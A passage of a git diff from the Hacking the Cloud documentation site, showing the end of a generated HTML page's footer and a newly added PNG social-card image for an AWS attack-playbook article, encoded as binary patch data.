27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "/", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "/assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=/assets/javascripts/bundle.203fd0bc.min.js></script> <script src=/javascripts/matomo.min.js></script> </body> </html>
\ No newline at end of file
diff --git a/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook.png b/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook.png
new file mode 100644
index 0000000000000000000000000000000000000000..d0ee720692e54f6ee7b6503d604fc5b9e3a631b9
GIT binary patch
literal 228707
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
